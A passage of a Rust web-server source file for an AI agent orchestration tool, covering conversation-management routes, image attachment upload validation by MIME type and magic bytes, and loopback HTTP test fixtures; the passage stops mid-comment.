6159                talk.status.as_str()
6160            )));
6161        }
6162        if !talk::clear_pending_if_matches(
6163            &mut talk,
6164            &ui.talks,
6165            &body.expected_text,
6166            &body.expected_attachments,
6167        )? {
6168            return Err(ApiError::conflict(
6169                "queued message changed; reload it before clearing",
6170            ));
6171        }
6172        let thinking = ui.is_thinking(&talk.id);
6173        Ok(Json(TalkView::new(talk, thinking)))
6174    })
6175    .await
6176}
6177
6178/// Atomically edit a queued draft's text while preserving its attachments.
6179/// The snapshot fields make a concurrent queue or drain a conflict rather
6180/// than silently discarding either message.
6181async fn talk_pending_edit(
6182    State(ui): State<Arc<Ui>>,
6183    Path(id): Path<String>,
6184    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6185) -> ApiResult<Json<TalkView>> {
6186    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6187    let (view, reclaimed) = blocking({
6188        let ui = Arc::clone(&ui);
6189        move || {
6190            let id = resolve_talk(&ui.talks, &id)?;
6191            let mut talk = ui.talks.get(&id)?;
6192            if !talk.status.open() {
6193                return Err(ApiError::conflict(format!(
6194                    "talk {} is {} and takes no more turns",
6195                    talk.short(),
6196                    talk.status.as_str()
6197                )));
6198            }
6199            if !talk::edit_pending_text(
6200                &mut talk,
6201                &ui.talks,
6202                &body.text,
6203                &body.expected_text,
6204                &body.expected_attachments,
6205            )? {
6206                return Err(ApiError::conflict(
6207                    "queued message changed; reload it before editing",
6208                ));
6209            }
6210            let claim = match ui.begin_queued_talk_turn(&id)? {
6211                Some(turn_guard) => {
6212                    let (cfg, _) = Config::discover(&talk.repo, None)?;
6213                    Some((talk.clone(), cfg, id.clone(), turn_guard))
6214                }
6215                None => None,
6216            };
6217            let thinking = ui.is_thinking(&id);
6218            Ok((TalkView::new(talk, thinking), claim))
6219        }
6220    })
6221    .await?;
6222    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6223        let talks = ui.talks.clone();
6224        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6225    }
6226    Ok(Json(view))
6227}
6228
6229/// The body of `POST /api/talks/{id}/agent`.
6230#[derive(Debug, Deserialize)]
6231struct TalkAgent {
6232    agent: String,
6233}
6234
6235/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
6236/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
6237/// start a turn on the old session between the check and the write; one that
6238/// arrives in that window finds the talk busy and becomes a draft.
6239async fn talk_agent(
6240    State(ui): State<Arc<Ui>>,
6241    Path(id): Path<String>,
6242    Json(body): Json<TalkAgent>,
6243) -> ApiResult<Json<TalkView>> {
6244    let id = {
6245        let ui = Arc::clone(&ui);
6246        blocking(move || resolve_talk(&ui.talks, &id)).await?
6247    };
6248    let repo = {
6249        let ui = Arc::clone(&ui);
6250        let id = id.clone();
6251        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6252    };
6253    let cfg = config_for(&repo).await?;
6254    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6255        return Err(ApiError::conflict(
6256            "a talk turn is running; change the agent once it has answered",
6257        ));
6258    };
6259    let switched = {
6260        let ui = Arc::clone(&ui);
6261        let id = id.clone();
6262        let cfg = cfg.clone();
6263        blocking(move || {
6264            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6265                .map_err(ApiError::bad_request_from)?;
6266            let mut talk = ui.talks.get(&id)?;
6267            if !talk.status.open() {
6268                return Err(ApiError::conflict(format!(
6269                    "talk {} is {} and takes no more turns",
6270                    talk.short(),
6271                    talk.status.as_str()
6272                )));
6273            }
6274            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6275            Ok(talk)
6276        })
6277        .await
6278    };
6279    // A `/say` that landed while this held the claim saw the talk busy and
6280    // left a durable draft, trusting the claim's owner to drain it. So the
6281    // claim goes to `drain_loop` whatever the outcome - it releases at once
6282    // when nothing is queued - rather than being dropped here.
6283    let fresh = {
6284        let ui = Arc::clone(&ui);
6285        let id = id.clone();
6286        blocking(move || Ok(ui.talks.get(&id)?)).await
6287    };
6288    let draining = match fresh {
6289        Ok(talk) => {
6290            let draining = talk.status.open()
6291                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6292            let talks = ui.talks.clone();
6293            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6294            draining
6295        }
6296        Err(_) => false,
6297    };
6298    let talk = switched?;
6299    Ok(Json(TalkView::new(talk, draining)))
6300}
6301
6302/// `POST /api/talks/{id}/close`.
6303async fn talk_close(
6304    State(ui): State<Arc<Ui>>,
6305    Path(id): Path<String>,
6306) -> ApiResult<Json<TalkView>> {
6307    blocking(move || {
6308        let id = resolve_talk(&ui.talks, &id)?;
6309        let mut talk = ui.talks.get(&id)?;
6310        talk::close(&mut talk, &ui.talks)?;
6311        let thinking = ui.is_thinking(&talk.id);
6312        Ok(Json(TalkView::new(talk, thinking)))
6313    })
6314    .await
6315}
6316
6317/// `POST /api/talks/{id}/reopen`.
6318async fn talk_reopen(
6319    State(ui): State<Arc<Ui>>,
6320    Path(id): Path<String>,
6321) -> ApiResult<Json<TalkView>> {
6322    blocking(move || {
6323        let id = resolve_talk(&ui.talks, &id)?;
6324        let mut talk = ui.talks.get(&id)?;
6325        talk::reopen(&mut talk, &ui.talks)?;
6326        let thinking = ui.is_thinking(&talk.id);
6327        Ok(Json(TalkView::new(talk, thinking)))
6328    })
6329    .await
6330}
6331
6332/// `DELETE /api/talks/{id}`.
6333///
6334/// Removes the conversation's record and artifacts outright, unlike
6335/// [`talk_close`] which keeps the record as history. A turn already in
6336/// flight is not refused here the way [`run_delete`] refuses a live run:
6337/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
6338/// under [`Talks::guard`], that the record they are about to write back is
6339/// still there, so a delete racing a turn is safe without this route having
6340/// to know a turn is running at all.
6341async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6342    blocking(move || {
6343        let id = resolve_talk(&ui.talks, &id)?;
6344        ui.talks.remove(&id)?;
6345        Ok(StatusCode::NO_CONTENT)
6346    })
6347    .await
6348}
6349
6350/// Expand an id or short id to exactly one talk id.
6351fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6352    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6353}
6354
6355/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
6356/// future `talk-say`.
6357async fn talk_attachment_post(
6358    State(ui): State<Arc<Ui>>,
6359    Path(id): Path<String>,
6360    headers: HeaderMap,
6361    body: Bytes,
6362) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6363    let mime = validate_attachment(&headers, &body)?;
6364    let name = filename_header(&headers);
6365    let data = body.to_vec();
6366    blocking(move || {
6367        let id = resolve_talk(&ui.talks, &id)?;
6368        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6369        Ok((StatusCode::CREATED, Json(att)))
6370    })
6371    .await
6372}
6373
6374/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
6375/// `<img>` tag in the transcript.
6376async fn talk_attachment_get(
6377    State(ui): State<Arc<Ui>>,
6378    Path((id, att)): Path<(String, String)>,
6379) -> ApiResult<Response> {
6380    blocking(move || {
6381        let id = resolve_talk(&ui.talks, &id)?;
6382        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6383            return Err(ApiError::not_found(format!(
6384                "talk {id} has no attachment `{att}`"
6385            )));
6386        };
6387        Ok(attachment_response(&meta.mime, data))
6388    })
6389    .await
6390}
6391
6392/// Validate an attachment upload's declared `Content-Type` and the bytes
6393/// themselves, returning the canonical mime on success.
6394///
6395/// Two checks, both required: the header has to name one of
6396/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
6397/// simply never in the list, active content rather than a picture, the same
6398/// exclusion [`asset_content_type`]'s doc explains), and the file's own
6399/// magic number has to agree. The second is what stops a mislabeled upload -
6400/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
6401/// a declared type is a claim, not a fact, so it is never trusted alone.
6402fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6403    if data.len() > ATTACHMENT_MAX_BYTES {
6404        return Err(ApiError::bad_request(format!(
6405            "attachment is {} bytes, over the {} MiB limit",
6406            data.len(),
6407            ATTACHMENT_MAX_BYTES / (1024 * 1024)
6408        ))
6409        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6410    }
6411    if data.is_empty() {
6412        return Err(ApiError::bad_request("attachment is empty"));
6413    }
6414    let declared = declared_mime(headers)?;
6415    match sniffed_mime(data) {
6416        Some(sniffed) if sniffed == declared => Ok(declared),
6417        Some(sniffed) => Err(ApiError::bad_request(format!(
6418            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6419        ))),
6420        None => Err(ApiError::bad_request(
6421            "the file's bytes do not match any accepted image format",
6422        )),
6423    }
6424}
6425
6426/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
6427/// and nothing else - parameters like `; charset=` are stripped, but the
6428/// value itself is not otherwise interpreted.
6429fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6430    let raw = headers
6431        .get(header::CONTENT_TYPE)
6432        .and_then(|v| v.to_str().ok())
6433        .unwrap_or("")
6434        .split(';')
6435        .next()
6436        .unwrap_or("")
6437        .trim()
6438        .to_ascii_lowercase();
6439    ATTACHMENT_MIME_WHITELIST
6440        .iter()
6441        .find(|&&m| m == raw)
6442        .copied()
6443        .ok_or_else(|| {
6444            if raw == "image/svg+xml" {
6445                ApiError::bad_request(
6446                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
6447                     not just a picture",
6448                )
6449            } else if raw.is_empty() {
6450                ApiError::bad_request("Content-Type is required for an attachment upload")
6451            } else {
6452                ApiError::bad_request(format!(
6453                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6454                     image/gif or image/webp"
6455                ))
6456            }
6457        })
6458}
6459
6460/// Identify an image by its magic number, independent of whatever
6461/// `Content-Type` claimed.
6462fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6463    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6464        Some("image/png")
6465    } else if data.starts_with(b"\xff\xd8\xff") {
6466        Some("image/jpeg")
6467    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6468        Some("image/gif")
6469    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6470        Some("image/webp")
6471    } else {
6472        None
6473    }
6474}
6475
6476/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
6477/// display - see [`talk::Attachment::name`]'s doc on why it never
6478/// contributes to a path. A missing or blank header (curl without it, an
6479/// older front end) falls back to a generic name rather than refusing the
6480/// upload over a field that is cosmetic.
6481fn filename_header(headers: &HeaderMap) -> String {
6482    headers
6483        .get(FILENAME_HEADER)
6484        .and_then(|v| v.to_str().ok())
6485        .map(str::trim)
6486        .filter(|s| !s.is_empty())
6487        .unwrap_or("attachment")
6488        .to_owned()
6489}
6490
6491/// Every attachment `GET` response: the mime re-validated against the same
6492/// closed whitelist the upload route enforces - never the string trusted
6493/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
6494/// cannot decide it knows better than the type we send. Unlike a panel asset
6495/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
6496/// document renders inline, not agent-authored HTML in a sandboxed frame.
6497fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6498    let content_type = ATTACHMENT_MIME_WHITELIST
6499        .iter()
6500        .find(|&&m| m == mime)
6501        .copied()
6502        .unwrap_or("application/octet-stream");
6503    (
6504        [
6505            (header::CONTENT_TYPE, content_type),
6506            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6507        ],
6508        body,
6509    )
6510        .into_response()
6511}
6512
6513/// The configuration for a repository, read off the disk for this request.
6514///
6515/// Through [`blocking`] because discovery reads and merges several TOML files,
6516/// and because the alternative - caching it in [`Ui`] at startup - would mean
6517/// the operator's phone kept interviewing with a roster they had already
6518/// changed, with no way to reload it but restarting the server they are not
6519/// sitting in front of.
6520async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6521    let repo = repo.to_path_buf();
6522    blocking(move || {
6523        let (cfg, _) = Config::discover(&repo, None)?;
6524        Ok(cfg)
6525    })
6526    .await
6527}
6528
6529/// The one prefix rule, used for both runs and tasks: a leading match for a
6530/// full id, a trailing match for the short form an operator reads off a
6531/// report. Written here rather than borrowed from `queue::resolve_id` because
6532/// the UI needs the two failures as different status codes, and telling them
6533/// apart from an error message is not something to build a route on.
6534fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6535    let mut hits = ids
6536        .into_iter()
6537        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6538    match (hits.next(), hits.next()) {
6539        (Some(one), None) => Ok(one),
6540        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6541        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6542            "`{prefix}` matches more than one {what}, including {a} and {b}"
6543        ))),
6544    }
6545}
6546
6547#[cfg(test)]
6548mod tests {
6549
6550    #[test]
6551    fn holder_reads_the_lease_not_the_record() {
6552        let mut q = Question::new(
6553            "run".to_owned(),
6554            "implement".to_owned(),
6555            "impl-A".to_owned(),
6556            "which?".to_owned(),
6557            String::new(),
6558            Vec::new(),
6559        );
6560        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
6561        q.cwd = Some("/tmp".to_owned());
6562        assert_eq!(holder_of(&q, None), Some("nobody"));
6563        let beat = |kind, ago: i64| ask::Lease {
6564            kind,
6565            pid: 1,
6566            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
6567                .unwrap(),
6568        };
6569        let fresh = beat(ask::WaiterKind::Asker, 1);
6570        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
6571        let daemon = beat(ask::WaiterKind::Daemon, 1);
6572        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
6573        let stale = beat(ask::WaiterKind::Asker, 3600);
6574        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
6575
6576        // A conductor question says "deputy" only while one is attached and
6577        // alive, and "nobody" - never silence - when nothing ever listened.
6578        let mut c = Question::new(
6579            "task".to_owned(),
6580            crate::conduct::NODE.to_owned(),
6581            "conduct".to_owned(),
6582            "which?".to_owned(),
6583            String::new(),
6584            Vec::new(),
6585        );
6586        assert_eq!(holder_of(&c, None), Some("nobody"));
6587        c.cwd = Some("/tmp".to_owned());
6588        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
6589        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
6590        let deputy = beat(ask::WaiterKind::Deputy, 1);
6591        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
6592        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
6593
6594        // A release-watch question: nobody until a deputy is attached.
6595        let mut r = Question::new(
6596            String::new(),
6597            crate::bump::NOTICE_NODE.to_owned(),
6598            "release-watch".to_owned(),
6599            "stuck?".to_owned(),
6600            String::new(),
6601            vec!["hold".to_owned()],
6602        );
6603        assert_eq!(holder_of(&r, None), Some("nobody"));
6604        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
6605        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
6606        // A choice-less bump notice is nobody's question at all.
6607        r.deputy = None;
6608        r.seat = "bump".to_owned();
6609        assert_eq!(holder_of(&r, None), None);
6610
6611        // A merge approval is the same: nobody until a deputy is attached
6612        // and alive, never a silent "no holder".
6613        let mut m = Question::new(
6614            "run".to_owned(),
6615            crate::land::APPROVAL_NODE.to_owned(),
6616            "land".to_owned(),
6617            "merge?".to_owned(),
6618            String::new(),
6619            Vec::new(),
6620        );
6621        assert_eq!(holder_of(&m, None), Some("nobody"));
6622        assert_eq!(
6623            holder_of(&m, Some(&fresh)),
6624            Some("nobody"),
6625            "a lease with no deputy is not a listener"
6626        );
6627        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
6628        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
6629        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
6630        assert_eq!(holder_of(&m, None), Some("nobody"));
6631    }
6632
6633    fn stub_config() -> Config {
6634        // An explicit roster, so the result never depends on which agent CLIs
6635        // this machine has installed.
6636        Config {
6637            agents: vec![crate::config::AgentSpec {
6638                id: "stub".to_owned(),
6639                kind: AgentKind::Command,
6640                model: None,
6641                command: vec!["true".to_owned()],
6642                extra_args: Vec::new(),
6643                env: Default::default(),
6644                prompt_delivery: None,
6645            }],
6646            ..Config::default()
6647        }
6648    }
6649
6650    fn plain_question(seat: &str) -> Question {
6651        Question::new(
6652            String::new(),
6653            "n".to_owned(),
6654            seat.to_owned(),
6655            "s".to_owned(),
6656            String::new(),
6657            Vec::new(),
6658        )
6659    }
6660
6661    #[test]
6662    fn deputies_enabled_follows_the_config() {
6663        let on = stub_config();
6664        assert!(crate::deputy::can_start(Some(&on), ""));
6665        assert!(crate::deputy::can_start(Some(&on), "stub"));
6666        let mut off = on.clone();
6667        off.daemon.max_deputies = 0;
6668        assert!(!crate::deputy::can_start(Some(&off), ""));
6669        let mut empty = on;
6670        empty.agents.clear();
6671        assert!(!crate::deputy::can_start(Some(&empty), ""));
6672        assert!(!crate::deputy::can_start(None, ""));
6673    }
6674
6675    #[test]
6676    fn question_views_load_the_config_once() {
6677        let dir = TempDir::new().unwrap();
6678        let store = ask::Questions::at(dir.path().to_path_buf());
6679        let mut with_deputy = plain_question("b");
6680        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
6681        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
6682
6683        let calls = std::cell::Cell::new(0usize);
6684        let views = question_views(qs.clone(), &store, || {
6685            calls.set(calls.get() + 1);
6686            Some(stub_config())
6687        });
6688        assert_eq!(calls.get(), 1);
6689        assert_eq!(views.len(), 3);
6690        for (v, q) in views.iter().zip(&qs) {
6691            assert_eq!(
6692                v.deputies_enabled,
6693                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
6694            );
6695        }
6696
6697        let views = question_views(qs, &store, || None);
6698        assert!(views.iter().all(|v| !v.deputies_enabled));
6699
6700        let calls = std::cell::Cell::new(0usize);
6701        let views = question_views(Vec::new(), &store, || {
6702            calls.set(calls.get() + 1);
6703            None
6704        });
6705        assert!(views.is_empty());
6706        assert_eq!(calls.get(), 0);
6707    }
6708
6709    use pretty_assertions::assert_eq;
6710    use serde_json::Value;
6711    use tempfile::TempDir;
6712    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
6713
6714    use super::*;
6715    use crate::config::Config;
6716    use crate::queue::Source;
6717
6718    /// How many 10ms steps a settle loop takes before it calls a stall a
6719    /// stall - thirty seconds.
6720    ///
6721    /// These loops wait on real `sh` subprocesses, and the machine that runs
6722    /// the gate runs several suites at once, so a two-second budget was not
6723    /// waiting for the reply, it was racing the scheduler: two of these
6724    /// tests failed under that load with the turn simply not landed yet.
6725    /// This is a hang guard, not a latency assertion - every loop breaks the
6726    /// moment its condition holds, so a generous cap costs an idle machine
6727    /// nothing and still fails a genuine hang instead of hanging the suite.
6728    const SETTLE_STEPS: usize = 3_000;
6729
6730    /// A home with a queue and a runs directory, and a router serving it on
6731    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
6732    /// dependency, not ours - so the tests drive a real socket, which has the
6733    /// side benefit of asserting the status line and content types the phone
6734    /// actually receives.
6735    struct Fixture {
6736        home: TempDir,
6737        addr: SocketAddr,
6738    }
6739
6740    impl Fixture {
6741        async fn start() -> Self {
6742            Self::with_loop(launch_idle).await
6743        }
6744
6745        /// A fixture whose loop is `launch`.
6746        async fn with_loop(launch: Launch) -> Self {
6747            let home = TempDir::new().expect("temp home");
6748            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
6749            Self { home, addr }
6750        }
6751
6752        /// A fixture whose `ui.repo` is a real directory rather than the
6753        /// usual placeholder - for the routes that read config off it
6754        /// (`GET /api/repos`) and would otherwise have nothing to discover.
6755        async fn with_repo(repo: PathBuf) -> Self {
6756            let home = TempDir::new().expect("temp home");
6757            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
6758            Self { home, addr }
6759        }
6760
6761        /// As [`Fixture::with_repo`], with the machine-config file the
6762        /// settings screen reads and writes.
6763        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
6764            let home = TempDir::new().expect("temp home");
6765            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
6766            Self { home, addr }
6767        }
6768
6769        async fn serve(
6770            home: &FsPath,
6771            repo: PathBuf,
6772            launch: Launch,
6773            machine: Option<PathBuf>,
6774        ) -> SocketAddr {
6775            let queue = Queue::at(home.join("queue"));
6776            let runs = home.join("runs");
6777            std::fs::create_dir_all(&runs).expect("runs dir");
6778            let worktrees = home.join("wt").join("magi");
6779            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
6780            let ui = Ui::new(
6781                queue,
6782                Questions::at(home.join("questions")),
6783                Talks::at(home.join("talks")),
6784                runs,
6785                home.to_path_buf(),
6786                repo,
6787            )
6788            .with_worktrees_root(worktrees)
6789            .with_machine_config(machine)
6790            .with_launch(launch);
6791            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6792                .await
6793                .expect("bind loopback");
6794            let addr = listener.local_addr().expect("local addr");
6795            tokio::spawn(async move {
6796                let _ = axum::serve(listener, ui.router()).await;
6797            });
6798            addr
6799        }
6800
6801        fn queue(&self) -> Queue {
6802            Queue::at(self.home.path().join("queue"))
6803        }
6804
6805        fn questions(&self) -> Questions {
6806            Questions::at(self.home.path().join("questions"))
6807        }
6808
6809        fn talks(&self) -> Talks {
6810            Talks::at(self.home.path().join("talks"))
6811        }
6812
6813        fn runs(&self) -> PathBuf {
6814            self.home.path().join("runs")
6815        }
6816
6817        async fn get(&self, path: &str) -> Res {
6818            request(self.addr, "GET", path, None).await
6819        }
6820
6821        /// The status and headers without the body, which is how the front end
6822        /// preflights a panel: a sandboxed frame is opaque to the parent
6823        /// document, so the only way to tell "no panel" from "a panel that
6824        /// rendered blank" is to ask before mounting.
6825        async fn head(&self, path: &str) -> Res {
6826            request(self.addr, "HEAD", path, None).await
6827        }
6828
6829        async fn post(&self, path: &str, body: Option<&str>) -> Res {
6830            request(self.addr, "POST", path, body).await
6831        }
6832
6833        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
6834            request_with(self.addr, "GET", path, None, extra).await
6835        }
6836
6837        async fn delete(&self, path: &str) -> Res {
6838            request(self.addr, "DELETE", path, None).await
6839        }
6840
6841        async fn put(&self, path: &str, body: &str) -> Res {
6842            request(self.addr, "PUT", path, Some(body)).await
6843        }
6844
6845        /// `POST` a raw body with its own headers - see [`request_bytes`].
6846        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
6847            request_bytes(self.addr, path, headers, body).await
6848        }
6849    }
6850
6851    struct Res {
6852        status: u16,
6853        headers: String,
6854        /// The header block with its original casing, for the assertions that
6855        /// compare a header *value* rather than looking for a name. Lowercasing
6856        /// a CSP would hide a directive spelled with a capital letter, and the
6857        /// whole point of that test is that the string is exactly right.
6858        head: String,
6859        body: String,
6860        /// The body before any UTF-8 handling, for the routes that serve
6861        /// something other than text. A panel asset is a PNG as often as not,
6862        /// and `from_utf8_lossy` would silently replace half of it.
6863        bytes: Vec<u8>,
6864    }
6865
6866    impl Res {
6867        fn json(&self) -> Value {
6868            serde_json::from_str(&self.body)
6869                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
6870        }
6871
6872        /// One header's value verbatim, or `None` when it was not sent.
6873        fn header(&self, name: &str) -> Option<&str> {
6874            self.head.lines().find_map(|line| {
6875                let (key, value) = line.split_once(':')?;
6876                key.trim()
6877                    .eq_ignore_ascii_case(name)
6878                    .then(|| value.trim_start().trim_end_matches('\r'))
6879            })
6880        }
6881    }
6882
6883    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
6884    /// be read to end-of-stream without parsing framing.
6885    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
6886        request_with(addr, method, path, body, &[]).await
6887    }
6888
6889    /// As [`request`], with extra request headers - conditional GETs need
6890    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
6891    /// worse than one that sets none.
6892    async fn request_with(
6893        addr: SocketAddr,
6894        method: &str,
6895        path: &str,
6896        body: Option<&str>,
6897        extra: &[(&str, &str)],
6898    ) -> Res {
6899        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6900        for (name, value) in extra {
6901            head.push_str(&format!("{name}: {value}\r\n"));
6902        }
6903        if let Some(body) = body {
6904            head.push_str("Content-Type: application/json\r\n");
6905            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
6906        }
6907        head.push_str("\r\n");
6908        if let Some(body) = body {
6909            head.push_str(body);
6910        }
6911        let mut socket = tokio::net::TcpStream::connect(addr)
6912            .await
6913            .expect("connect to the test server");
6914        socket
6915            .write_all(head.as_bytes())
6916            .await
6917            .expect("write request");
6918        let mut raw = Vec::new();
6919        socket.read_to_end(&mut raw).await.expect("read response");
6920        // Split on the raw bytes rather than on a lossy string, so a binary
6921        // body survives to be compared byte for byte.
6922        let split = raw
6923            .windows(4)
6924            .position(|w| w == b"\r\n\r\n")
6925            .expect("a header block");
6926        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6927        let bytes = raw[split + 4..].to_vec();
6928        let status = head
6929            .lines()
6930            .next()
6931            .and_then(|line| line.split_whitespace().nth(1))
6932            .and_then(|code| code.parse().ok())
6933            .expect("a status line");
6934        Res {
6935            status,
6936            headers: head.to_lowercase(),
6937            head,
6938            body: String::from_utf8_lossy(&bytes).into_owned(),
6939            bytes,
6940        }
6941    }
6942
6943    /// A `POST` carrying a raw binary body and its own headers, for the
6944    /// attachment upload route - `request_with` only ever sends
6945    /// `Content-Type: application/json`, which is wrong for an image and
6946    /// would corrupt anything not valid UTF-8 by round-tripping it through
6947    /// `&str` first.
6948    async fn request_bytes(
6949        addr: SocketAddr,
6950        path: &str,
6951        headers: &[(&str, &str)],
6952        body: &[u8],
6953    ) -> Res {
6954        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6955        for (name, value) in headers {
6956            head.push_str(&format!("{name}: {value}\r\n"));
6957        }
6958        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
6959        let mut socket = tokio::net::TcpStream::connect(addr)
6960            .await
6961            .expect("connect to the test server");
6962        socket
6963            .write_all(head.as_bytes())
6964            .await
6965            .expect("write request head");
6966        socket.write_all(body).await.expect("write request body");
6967        let mut raw = Vec::new();
6968        socket.read_to_end(&mut raw).await.expect("read response");
6969        let split = raw
6970            .windows(4)
6971            .position(|w| w == b"\r\n\r\n")
6972            .expect("a header block");
6973        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6974        let bytes = raw[split + 4..].to_vec();
6975        let status = head
6976            .lines()
6977            .next()
6978            .and_then(|line| line.split_whitespace().nth(1))
6979            .and_then(|code| code.parse().ok())
6980            .expect("a status line");
6981        Res {
6982            status,
6983            headers: head.to_lowercase(),
6984            head,
6985            body: String::from_utf8_lossy(&bytes).into_owned(),
6986            bytes,
6987        }
6988    }
6989
6990    /// A run on disk, without touching the process-global magi home.
6991    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
6992        let mut state = RunState::new(
6993            PathBuf::from("/repo/magi"),
6994            "main".to_owned(),
6995            "0123456789abcdef".to_owned(),
6996            "Add a web UI\n\nMobile first.".to_owned(),
6997            Config::default(),
6998        );
6999        state.id = id.to_owned();
7000        state.status = status;
7001        let dir = runs.join(id);
7002        std::fs::create_dir_all(&dir).expect("run dir");
7003        std::fs::write(
7004            dir.join("run.json"),
7005            serde_json::to_string_pretty(&state).expect("serialize run"),
7006        )
7007        .expect("write run.json");
7008    }
7009
7010    /// Same as [`write_run`], but against a named repository rather than the
7011    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
7012    /// spread across more than one.
7013    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7014        let mut state = RunState::new(
7015            PathBuf::from(repo),
7016            "main".to_owned(),
7017            "0123456789abcdef".to_owned(),
7018            "task".to_owned(),
7019            Config::default(),
7020        );
7021        state.id = id.to_owned();
7022        state.status = status;
7023        let dir = runs.join(id);
7024        std::fs::create_dir_all(&dir).expect("run dir");
7025        std::fs::write(
7026            dir.join("run.json"),
7027            serde_json::to_string_pretty(&state).expect("serialize run"),
7028        )
7029        .expect("write run.json");
7030    }
7031
7032    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7033        let body = serde_json::json!({
7034            "schema": 1,
7035            "pid": 4242,
7036            "started_at": Timestamp::now().to_string(),
7037            "updated_at": updated_at.to_string(),
7038            "idle": false,
7039            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7040            "completed": 7,
7041            "polls": 143,
7042        });
7043        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7044    }
7045
7046    /// A loop that starts, finds nothing to do, and waits to be told to stop.
7047    ///
7048    /// No test in this file may start the real loop - see [`Ui::launch`] for
7049    /// why - so this stands in for the only thing the routes need a loop to
7050    /// do: keep running until `Stop` is set, then return. A real
7051    /// `serve_until` here would resolve its queue and its status file through
7052    /// the process-global magi home, claim whatever it found in the
7053    /// operator's live backlog, overwrite the status file of the `magi serve`
